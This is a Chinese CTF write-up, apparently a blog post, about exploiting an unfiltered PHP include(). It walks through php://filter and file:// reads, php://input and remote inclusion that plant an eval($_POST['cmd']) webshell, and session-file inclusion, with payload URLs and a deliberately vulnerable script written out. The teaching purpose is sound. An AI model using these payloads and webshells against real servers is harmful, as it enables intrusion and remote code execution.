java代码审计文件包含_代码审计--一道简单的文件包含题目的多种利用方式

不知出自哪次CTF

前言:

本萌新最近在学习代码审计,

有一天在水群聊到代码审计如何学习,

然后某dalao丢给我一道题,说你对这题有什么看法,

本萌新一看,这不是很简单吗,想也没多想就直接上去?file=flag.php,

然后被dalao指教了一番,于是就有了这篇文章。

目录:

NO.1 传统方法

首先来看下代码

error_reporting(0);

if(@isset($_GET["file"])){

include($_GET["file"]);

}else{

highlight_file(__FILE__);

phpinfo();

}

?>

看完代码后再来学习学习函数吧,毕竟菜啊!!!

isset()函数检测变量是否设置,是返回true,否则返回false

语法:bool isset( mixed var [, mixed var [, …]] )

error_reporting()函数能够在运行时设置 error_reporting 指令。0为关闭错误报告

语法:error_reporting(level)

include 函数包含并运行指定文件。

这个应该大家都很熟悉了。

highlight_file()函数对文件进行语法高亮显示。

语法:highlight_file(filename,return)

参数:

filename 必需。要进行高亮处理的 PHP 文件的路径。

return 可选。如果设置 true,则本函数返回高亮处理的代码。

这题由于没有任何过滤,利用起来并不困难,

直接访问的时候会出现phpinfo,可能是为了方便让你知道网站路径吧,

知道路径后,当然一般直接使用?file=xxx就可以直接利用了。

NO.2 php伪协议

对于php伪协议,网上也有很多的文章,

但是对于萌新来说,自己再总结学习一下自然不是什么坏事,

谈到伪协议就不得不先说allow_url_fopen和allow_url_include这两个函数。

allow_url_fopen函数:默认值是ON,允许url里的封装协议访问文件

allow_url_include函数:默认值是OFF,不允许包含url里的封装协议包含文件

接下来看看CTF中几个常用的伪协议。

1. php://filter

php://filter协议在CTF中经常出现,通常配合base64来读取源码,

参数:

名称:

resource= 这个参数是必须的。它指定了你要筛选过滤的数据流。要过滤的数据流>

read= 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。读链的筛选列表>

write= 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。写链的筛选列表>

任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

这道题中利用方法也很简单,

http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=flag.txt

也很好理解,意思就是读取flag.txt的内容,进行base64编码后输出

注意:像这样的话是读取相同路径下的文件,就是include.php和flag.txt同路径

8ea1819253ea542c1cebd06a3b88540a.png

接下来看看跟php://filter很像的一个协议

file://协议(不是伪协议)

说明: file:// — 访问本地文件系统

file://协议会受到 allow_url_fopen 的影响,

但是在CTF中通常用来读取本地文件而不会受到allow_url_fopen的影响

用法: file:// [文件的绝对路径和文件名]

然后在这道题中就可以这样去构造,

http://localhost/include.php?file=file://D:\phpStudy\PHPTutorial\WWW\flag.txt

在Windows下正反斜杆都可以使用,

Linux下必须使用正斜杆(/)

d3536634df1f26077dd6aecb94ad26a9.png

当然还可以配合php://filter协议使用,

http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=file://D:\phpStudy\PHPTutorial\WWW\flag.txt

2. php://input协议

说明:简单来说就是能够将post请求中的数据作为PHP代码执行

需要将allow_url_include开启

注:当enctype='multipart/form-data' 的时候 php://input 是无效的

测试:

a3cf9fd54b3d62a4e723469a4a9cb199.png

也可以post生成一句话

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST['cmd']);?>');?>

先来认识下函数,

fputs()函数将内容写入一个打开的文件中。

语法:fputs(file,string,length)

参数:

file 必需。规定要写入的打开文件。

string 必需。规定要写入打开文件的字符串。

length 可选。规定要写入的最大字节数。

fopen()函数打开文件或者 URL。

语法:fopen(filename,mode,include_path,context)

参数:

filename 必需。规定要打开的文件或 URL。

mode 必需。规定要求到该文件/流的访问类型。可能的值见下表。

include_path 可选。如果也需要在 include_path 中检索文件的话,可以将该参数设为 1 或 TRUE。

context 可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。

mode 参数的可能的值:

“r” 只读方式打开,将文件指针指向文件头。

“r+” 读写方式打开,将文件指针指向文件头。

“w” 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。

“w+” 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。

“a” 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。

“a+” 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。

“x” 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,返回 FALSE,如果文件不存在则尝试创建之。

“x+” 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,返回 FALSE,如果文件不存在则尝试创建之。

这句话的意思很明显了,以写入的方式将一句话写入到shell.php这个文件中,

然后就可以直接上菜刀了

ff0e278d44a848b90228286a3576b1d1.png

对于文件包含这个东西来说,文件后缀可以是任意的,

只要文件内容符合PHP语法规范,那么任何扩展名都可以被当作PHP来解析,

这里我们将shell.php改成shell.jpg的后缀,

菜刀路径的话也要换成包含的格式

http://localhost/include.php?file=shell.jpg

依旧是可以访问的,

好了,伪协议就说怎么多了。

NO.3 远程包含

既然是文件包含的题目,当然就离不开远程文件包含了,

远程包含需要目标服务器将allow_url_fopen和allow_url_include开启才可以。

现在将一匹马放到自己服务器上,然后远程包含这匹马,

注意,这里有个坑

这匹马的文件名不能是可以解析的文件后缀,比如php后缀可以解析,那么这匹马的后缀就不能是php

http://localhost/include.php?file=http://127.0.0.1/shell.jpg

但是如果我就想要包含php后缀的文件呢,当然也是可以的,

不过这里需要将一句话echo出来才行,这样才可以包含php后缀的文件

echo '<?php eval($_POST["cmd"]);?>';

?>

然后就可以利用了

8a38f325ea81c9a9c6d0e0c453be9f13.png

思考:为什么远程包含需要将一句话echo出来

原因是远程服务器已经将文件解析了,远程包含只包含前端显示的代码,跟后缀没什么关系,

所有这里为什么要echo一句话就是这个道理。

相反,本地包含就不需要在前端显示,只要是符合php规范的代码就可以,

本地包含一般使用jpg,log这样的后缀的一句话去绕waf。

远程包含还可以配合伪协议去利用,

将一句话进行base64加密,

26c5ca74f3c2839f82617ea252e4f3d7.png

注意:这里要是加密echo的一句话是不行的

然后伪协议中base64就要换成解密的了decode

使用方法:

http://localhost/include.php?file=php://filter/read=convert.base64-decode/resource=http://127.0.0.1/shell.php

65d24d31787e7284929484f5fa63cbe5.png

然后一样可以使用菜刀去连接

NO.4 session文件包含

这题我们稍微改动一下,增加一个session

session_start();

error_reporting(0);

if(@isset($_GET["file"])){

$_SESSION["username"]=$_GET["file"];

include($_GET["file"]);

}else{

highlight_file(__FILE__);

phpinfo();

}

?>

这里的话就是开启session,然后将传入的参数写入到session文件中。

这里我们传入一个名为flag的参数,

在浏览器中可以看到 phpsessid 在发送的请求的 cookie值,

d97cb8a6e623d08b338d263681798f68.png

然后我们可以通过phpinfo知道session存放的路径,

f264331bc8b56dcecf5de587b35a25d1.png

然后去文件夹中发现确实存在这个临时文件,

140a0de86575be52b9cace92efd5f202.png

然后进行读取,session临时文件格式为sess_xxx 发现是我们刚刚传入的flag字段

http://localhost/include.php?file=../tmp/tmp/sess_onkqtedht4iucf6bnnjpgqu0g7

96e67bcbf581fbc8aea28e2255e1c4c8.png

如果当我们传入的值为 <?php phpinfo();?> 会出现什么情况

651e2e4de135a868dee9cbfd6dc81f6c.png

好了。就说这么多了…

总结

首先真的挺感谢朋友们对我的支持,

学习过程中问了非常多的问题,

本文章难免会出现一些语句错误,如有发现还请多多指教,

最后呢,当然希望能够做一条会翻身的咸鱼了!!!

参考文献

https://www.freebuf.com/column/148886.html

http://www.cnblogs.com/Oran9e/p/8082962.html

http://www.php.net/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值